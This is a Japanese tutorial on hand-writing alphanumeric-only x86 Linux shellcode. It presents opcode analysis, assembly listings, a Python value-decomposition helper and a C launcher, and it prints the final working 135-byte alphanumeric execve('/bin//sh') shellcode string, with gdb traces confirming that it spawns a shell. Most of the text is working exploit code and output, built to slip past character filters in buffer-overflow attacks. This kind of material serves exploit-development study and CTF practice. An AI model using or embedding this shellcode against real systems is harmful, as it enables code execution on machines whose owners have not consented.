x86 alphanumeric shellcodeを書いてみる
Linux x86環境を対象に、アルファベットと数字のみからなるシェルコードを書いてみる。 このようなシェルコードはalphanumeric shellcodeと呼ばれる。
環境
Ubuntu 12.04 LTS 32bit版
$ uname -a Linux vm-ubuntu32 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux $ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 12.04.4 LTS Release: 12.04 Codename: precise $ gcc --version gcc (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3
使える命令を調べてみる
まずは、アルファベットと数字に対応するASCIIコードを調べてみる。
$ man ascii NAME ascii - ASCII character set encoded in octal, decimal, and hexadecimal DESCRIPTION ... Tables For convenience, let us give more compact tables in hex and decimal. 2 3 4 5 6 7 30 40 50 60 70 80 90 100 110 120 ------------- --------------------------------- 0: 0 @ P ` p 0: ( 2 < F P Z d n x 1: ! 1 A Q a q 1: ) 3 = G Q [ e o y 2: " 2 B R b r 2: * 4 > H R \ f p z 3: # 3 C S c s 3: ! + 5 ? I S ] g q { 4: $ 4 D T d t 4: " , 6 @ J T ^ h r | 5: % 5 E U e u 5: # - 7 A K U _ i s } 6: & 6 F V f v 6: $ . 8 B L V ` j t ~ 7: ´ 7 G W g w 7: % / 9 C M W a k u DEL 8: ( 8 H X h x 8: & 0 : D N X b l v 9: ) 9 I Y i y 9: ´ 1 ; E O Y c m w A: * : J Z j z B: + ; K [ k { C: , < L \ l | D: - = M ] m } E: . > N ^ n ~ F: / ? O _ o DEL
上の表から、0-9, A-Z, a-zがそれぞれ0x30-0x39, 0x41-0x5a, 0x61-0x7aに対応していることがわかる。 これをもとにx86のオペコードテーブルを見ると、次のような命令が使えることがわかる。
30 XOR r/m8 r8 31 XOR r/m16/32 r16/32 32 XOR r8 r/m8 33 XOR r16/32 r/m16/32 34 XOR AL imm8 35 XOR eAX imm16/32 38 CMP r/m8 r8 39 CMP r/m16/32 r16/32 40+r INC r16/32 (except for eax) 48+r DEC r16/32 50+r PUSH r16/32 58+r POP r16/32 (only for eax, ecx, edx) 61 POPAD 68 PUSH imm16/32 69 IMUL r16/32 r/m16/32 imm16/32 6a PUSH imm8 6b IMUL r16/32 r/m16/32 imm8 70-7a JO/JNO/JB/JNB/JZ/JNZ/JNA/JA/JS/JNS/JP rel8
ここで、r8はalなどの8ビットレジスタ(register)、imm8は0x41などの8ビット即値(immediate value)、r/m8は8bitアドレッシングモード指定(register or memory)、rel8は8ビット相対アドレス指定(relative address)を意味する。
アドレッシングモード指定とは、[eax+0x4]
や[ecx+2*eax+0x4]
のような指定のことである。
また、x86においてレジスタはeax, ecx, edx, ebx, esp, ebp, esi, ediの順で扱われる。 そのため、inc命令はeaxレジスタには使えない。 なぜなら、対応するオペコードが0x40 (@) となりアルファベットにならないためである。 同様の理由により、pop命令に使えるレジスタはeax, ecx, edxのみとなる。
xor命令についてはさまざまな指定が可能である。 ここでは、次の3つのパターンを利用する。 r/m8の指定に使うModR/Mバイト、SIBバイトについては次のページが参考になる。
$ echo "xor eax, 0x41424344" | as -msyntax=intel -mnaked-reg -aln -o /dev/null 1 0000 35444342 xor eax,0x41424344 1 41
35 = XOR eAX imm16/32 44 43 42 41 = imm32
$ echo "xor [ecx], dh" | as -msyntax=intel -mnaked-reg -aln -o /dev/null 1 0000 3031 xor [ecx],dh
30 = XOR r/m8 r8 31 = 00110001 mod = 00 ([reg]) reg = 110 (dh) r/m = 001 (ecx)
$ echo "xor [esi+2*ecx+0x41], al" | as -msyntax=intel -mnaked-reg -aln -o /dev/null 1 0000 30444E41 xor [esi+2*ecx+0x41],al
30 = XOR r/m8 r8 44 = 01000100 mod = 01 ([reg+disp8]) reg = 000 (al) r/m = 100 (SIB) 4E = 01001110 scale = 01 (2) index = 001 (ecx) base = 110 (esi) 41 = disp8
以上をもとに、シェルコードを書くのに使える操作をまとめると次のようになる。
push imm32
、pop imm32
を使い、即値をレジスタにセットするpopad
を使い、eax, ecx, edx以外のレジスタに値をセットするinc r32
、dec r32
を使い、1ずつレジスタの値を増減させるxor imm32
を使い、レジスタの値をxorするxor r/m8 r8
を使い、スタックに置いた値をバイトごとにxorする
popにはeax、ecx、ebxしか使えないため、これらがメインに使うレジスタとなる。
pushでシェルコードをスタックに積むコードを書いてみる
とりあえず、push命令で普通のシェルコードをスタック上に並べ、jmp espで実行するコードを書いてみる。
$ echo -en '\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80' > execve $ od -tx4z execve 0000000 6852d231 68732f2f 69622f68 52e3896e >1.Rh//shh/bin..R< 0000020 8de18953 80cd0b42 >S...B...< 0000030
/* test.s */ .intel_syntax noprefix .globl _start _start: push 0x80cd0b42 push 0x8de18953 push 0x52e3896e push 0x69622f68 push 0x68732f2f push 0x6852d231 jmp esp
アセンブルして実行すると、シェルが起動できていることがわかる。
$ gcc -nostdlib test.s $ ./a.out $ id uid=1000(user) gid=1000(user) groups=1000(user) $
alphanumericな即値同士のxorでスタックを作ってみる
次に、alphanumericな命令のみでスタックを作ることを考えてみる。 xor命令を使い、alphanumericな即値から上と同じスタックを作るコードを書くと次のようになる。
/* test2.s */ .intel_syntax noprefix .globl _start _start: push 0x30 pop eax xor al, 0x30 push eax push eax push eax /* edx = 0 */ push eax /* ebx = 0 */ push eax push eax push eax push eax popad dec edx /* edx = 0xffffffff */ /* push 0x80cd0b42 */ push edx pop eax xor eax, 0x30413230 xor eax, 0x4f733972 push eax push esp pop ecx xor [ecx], dh inc ecx xor [ecx], dh /* push 0x8de18953 */ push edx pop eax xor eax, 0x30443030 xor eax, 0x425a4663 push eax push esp pop ecx xor [ecx], dh /* push 0x52e3896e */ push ebx pop eax xor eax, 0x30443034 xor eax, 0x6258465a push eax push esp pop ecx inc ecx xor [ecx], dh inc ecx xor [ecx], dh /* push 0x69622f68 */ push ebx pop eax xor eax, 0x30304130 xor eax, 0x59526e58 push eax /* push 0x68732f2f */ push ebx pop eax xor eax, 0x30304141 xor eax, 0x58436e6e push eax /* push 0x6852d231 */ push ebx pop eax xor eax, 0x30304141 xor eax, 0x58626c70 push eax push esp pop ecx inc ecx xor [ecx], dh jmp esp
このコードでは、まずpopad命令を使いebxに0x00000000、edxに0xFFFFFFFFをセットする。 そして、alphanumericな即値同士のxorにより必要な値を組み立てる。 ただし、alphanumericなバイト同士のxorのみでは8ビット目が立てられないため、0x80-0xFFとなるバイトについては一度スタック上に置いた値を1バイトずつdhでxorする。 また、3バイト以上0x80-0xFFが含まれるワードについては、最初に0xFFFFFFFFとxorすることで命令の数を減らしている。
ここで、ある値をalphanumericな即値と0xFFに分解するのには、次のようなコードを利用した。
# decomposite.py import sys import struct word = int(sys.argv[1], 16) allowed = range(0x30, 0x3a) + range(0x41, 0x5b) + range(0x61, 0x7b) chunk = struct.pack('<I', word) x = '' y = '' z = '' for c in map(ord, chunk): if c >= 0x80: z += '\xff' c ^= 0xff else: z += '\x00' for i in allowed: if i^c in allowed: x += chr(i) y += chr(i^c) break print hex(struct.unpack('<I', x)[0]) print hex(struct.unpack('<I', y)[0]) print hex(struct.unpack('<I', z)[0])
このコードを実行すると、0x80cd0b42
が0x30413230 ^ 0x4f733972 ^ 0xffff0000
のように分解できることがわかる。
$ python decomposite.py 0x80cd0b42 0x30413230 0x4f733972 0xffff0000L
できあがったコードをアセンブルして実行すると、元のコード同様にシェルが起動できていることがわかる。
$ gcc -nostdlib test2.s $ ./a.out $ id uid=1000(user) gid=1000(user) groups=1000(user) $
動的にjmp espを作るコードを書いてみる
上のコードでは、まだjmp esp
(ff e4) がalphanumericにできていない。
そこで、jmp esp
の代わりにpush esp; ret
(54 c3) を使い、c3をalphanumericなバイト同士のxorで作ることを考える。
実行時に適当なレジスタがシェルコードの先頭を指していることを前提に、コードを書いてみると次のようになる。
/* alnum.s */ .intel_syntax noprefix .globl _start _start: /* set buffer register to ecx */ push eax pop ecx prepare_registers: push 0x30 pop eax xor al, 0x30 /* omit eax, ecx */ push eax /* edx = 0 */ push eax /* ebx = 0 */ push eax push eax push ecx /* esi = buffer */ push eax popad dec edx /* edx = 0xffffffff */ patch_ret: /* 0x44 ^ 0x78 ^ 0xff == 0xc3 (ret) */ push edx pop eax xor al, 0x44 push 0x30 pop ecx dec ecx dec ecx dec ecx dec ecx dec ecx xor [esi+2*ecx+0x30], al build_stack: /* push 0x80cd0b42 */ push edx pop eax xor eax, 0x30413230 xor eax, 0x4f733972 push eax push esp pop ecx xor [ecx], dh inc ecx xor [ecx], dh /* push 0x8de18953 */ push edx pop eax xor eax, 0x30443030 xor eax, 0x425a4663 push eax push esp pop ecx xor [ecx], dh /* push 0x52e3896e */ push ebx pop eax xor eax, 0x30443034 xor eax, 0x6258465a push eax push esp pop ecx inc ecx xor [ecx], dh inc ecx xor [ecx], dh /* push 0x69622f68 */ push ebx pop eax xor eax, 0x30304130 xor eax, 0x59526e58 push eax /* push 0x68732f2f */ push ebx pop eax xor eax, 0x30304141 xor eax, 0x58436e6e push eax /* push 0x6852d231 */ push ebx pop eax xor eax, 0x30304141 xor eax, 0x58626c70 push eax push esp pop ecx inc ecx xor [ecx], dh push esp ret: .byte 0x78
このコードでは、まず適当なレジスタに入っているシェルコードの先頭アドレスをesiレジスタにセットする。
そして、esi+2*ecx+0x30
がretの位置を指すようにecxの値を調整した上で、xorにより0xc3 (ret) を動的に作る。
その後は、スタックが作られた後espへのジャンプが行われる。
アセンブルしてバイト列を表示してみると、すべてalphanumericなバイトにできていることがわかる。
$ gcc -nostdlib alnum.s $ objdump -s a.out a.out: file format elf32-i386 Contents of section .note.gnu.build-id: 8048074 04000000 14000000 03000000 474e5500 ............GNU. 8048084 bea2a073 77a1aee3 62ee4d65 1e835118 ...sw...b.Me..Q. 8048094 d50fd08c .... Contents of section .text: 8048098 50596a30 58343050 50505051 50614a52 PYj0X40PPPPQPaJR 80480a8 5834446a 30594949 49494930 444e3052 X4Dj0YIIIII0DN0R 80480b8 58353032 41303572 39734f50 54593031 X502A05r9sOPTY01 80480c8 41303152 58353030 44303563 465a4250 A01RX500D05cFZBP 80480d8 54593031 53583534 30443035 5a465862 TY01SX540D05ZFXb 80480e8 50545941 30314130 31535835 30413030 PTYA01A01SX50A00 80480f8 35586e52 59505358 35414130 30356e6e 5XnRYPSX5AA005nn 8048108 43585053 58354141 30303570 6c625850 CXPSX5AA005plbXP 8048118 54594130 315478 TYA01Tx $ strings -n8 a.out PYj0X40PPPPQPaJRX4Dj0YIIIII0DN0RX502A05r9sOPTY01A01RX500D05cFZBPTY01SX540D05ZFXbPTYA01A01SX50A005XnRYPSX5AA005nnCXPSX5AA005plbXPTYA01Tx
このシェルコードの長さは135バイトである。
シェルコードにジャンプするプログラムを書いてみる
できあがったシェルコードをスタック上に置き、明示的にジャンプするプログラムを書くと次のようになる。
/* shellcode.c */ int main() { char shellcode[] = "PYj0X40PPPPQPaJRX4Dj0YIIIII0DN0RX502A05r9sOPTY01A01RX500D05cFZBPTY01SX540D05ZFXbPTYA01A01SX50A005XnRYPSX5AA005nnCXPSX5AA005plbXPTYA01Tx"; (*(void (*)())shellcode)(); }
$ gcc -z execstack shellcode.c $ ./a.out $ id uid=1000(user) gid=1000(user) groups=1000(user) $
シェルが起動できていることが確認できた。
gdbで動作を確認してみる
gdbを使い、シェルコードの動作を確認してみる。 まずは、シェルコードが実行される直前まで進めてみる。
$ gdb -q a.out Reading symbols from /home/user/tmp/a.out...(no debugging symbols found)...done. (gdb) set disassembly-flavor intel (gdb) start Temporary breakpoint 1 at 0x804840a Starting program: /home/user/tmp/a.out Temporary breakpoint 1, 0x0804840a in main () (gdb) disp/i $pc 1: x/i $pc => 0x804840a <main+6>: and esp,0xfffffff0 (gdb) disas Dump of assembler code for function main: 0x08048404 <+0>: push ebp 0x08048405 <+1>: mov ebp,esp 0x08048407 <+3>: push edi 0x08048408 <+4>: push esi 0x08048409 <+5>: push ebx => 0x0804840a <+6>: and esp,0xfffffff0 0x0804840d <+9>: sub esp,0x90 ... 0x08048438 <+52>: lea eax,[esp+0x4] 0x0804843c <+56>: call eax 0x0804843e <+58>: mov edx,DWORD PTR [esp+0x8c] ... End of assembler dump. (gdb) u *main+56 0x0804843c in main () 1: x/i $pc => 0x804843c <main+56>: call eax
ここで、シェルコードのアドレスはeaxレジスタに入っている。
eaxレジスタでない場合には、push eax
に対応するシェルコードの先頭1バイトを書き換えればよい。
xorによりret (0xc3) が動的に作られていることを確認してみる。
(gdb) si 0xbffff704 in ?? () 1: x/i $pc => 0xbffff704: push eax (gdb) x/40i $pc => 0xbffff704: push eax 0xbffff705: pop ecx ... 0xbffff71e: dec ecx 0xbffff71f: xor BYTE PTR [esi+ecx*2+0x30],al 0xbffff723: push edx ... (gdb) b *0xbffff71f Breakpoint 2 at 0xbffff71f (gdb) c Continuing. Breakpoint 2, 0xbffff71f in ?? () 1: x/i $pc => 0xbffff71f: xor BYTE PTR [esi+ecx*2+0x30],al (gdb) x/bx $esi+$ecx*2+0x30 0xbffff78a: 0x78 (gdb) si 0xbffff723 in ?? () 1: x/i $pc => 0xbffff723: push edx (gdb) x/bx $esi+$ecx*2+0x30 0xbffff78a: 0xc3
一連の処理が終わった後、スタック上に普通のシェルコードが並べられていることを確認してみる。
(gdb) x/60i $pc => 0xbffff723: push edx 0xbffff724: pop eax 0xbffff725: xor eax,0x30413230 0xbffff72a: xor eax,0x4f733972 0xbffff72f: push eax ... 0xbffff789: push esp 0xbffff78a: ret ... (gdb) b *0xbffff78a Breakpoint 3 at 0xbffff78a (gdb) c Continuing. Breakpoint 3, 0xbffff78a in ?? () 1: x/i $pc => 0xbffff78a: ret (gdb) x/8wx $esp 0xbffff6e8: 0xbffff6ec 0x6852d231 0x68732f2f 0x69622f68 0xbffff6f8: 0x52e3896e 0x8de18953 0x80cd0b42 0x306a5950
push esp
からのret命令により、展開されたシェルコードが実行されていることを確認してみる。
(gdb) si 0xbffff6ec in ?? () 1: x/i $pc => 0xbffff6ec: xor edx,edx (gdb) x/10i $pc => 0xbffff6ec: xor edx,edx 0xbffff6ee: push edx 0xbffff6ef: push 0x68732f2f 0xbffff6f4: push 0x6e69622f 0xbffff6f9: mov ebx,esp 0xbffff6fb: push edx 0xbffff6fc: push ebx 0xbffff6fd: mov ecx,esp 0xbffff6ff: lea eax,[edx+0xb] 0xbffff702: int 0x80 (gdb) c Continuing. process 14629 is executing new program: /bin/dash $ [Inferior 1 (process 14629) exited normally] (gdb) quit
関連する話題について
ここでは、xorによる実行時書き換えによってpush esp; ret
を作りespに制御を移した。
この方法の他にも、シェルコードがスタック上に置かれているという前提のもと、シェルコードジャンプ時のeipとespが近くになることを利用する方法もある。
具体的には、popad命令の繰り返しによりespをeipより先のアドレスに進めた後、eipが進む方向と逆向きにスタックを積み上げていく。
そして最後に、eipがその上に到達するまで0x90909090(nop命令4個)を繰り返し積み上げる。
/* eax = 0x90909090 */ 50 push eax | eip 50 push eax | 50 push eax | 50 push eax v ... ... ... ... 90 nop ^ 90 nop | 90 nop | 90 nop | esp [shellcode]
また、xorとpushにより普通のシェルコードを展開したが、後続するバイト列のデコーダを展開することもできる。 すなわち、alphanumericなバイト列にエンコードしたシェルコードをデコーダの後ろに繋げ、実行時に展開されたデコーダがそれを元に戻す。 このようにすれば、汎用的な形で任意のシェルコードをalphanumeic shellcodeに変換することができる。
alphanumericなバイト列で表されるもの以外にも、0x20-0x7eの印字可能文字(printable characters)のみで表されるもの、UTF-16文字列として表されるもの、UTF-8文字列として表されるものも考えることができる。
関連リンク
- Bypassing MSB Data Filters for Buffer Overflow Exploits on Intel Platforms
- Writing ia32 alphanumeric shellcodes (Phrack 57)
- Building IA32 'Unicode-Proof' Shellcodes (Phrack 61)
- Writing UTF-8 compatible shellcodes (Phrack 62)
- CTFはとんでもないものを 盗んでいきました。私の時間です…
- alpha3 - Alphanumeric shellcode encoder
- Alphanumeric Shellcode - Metasploit Unleashed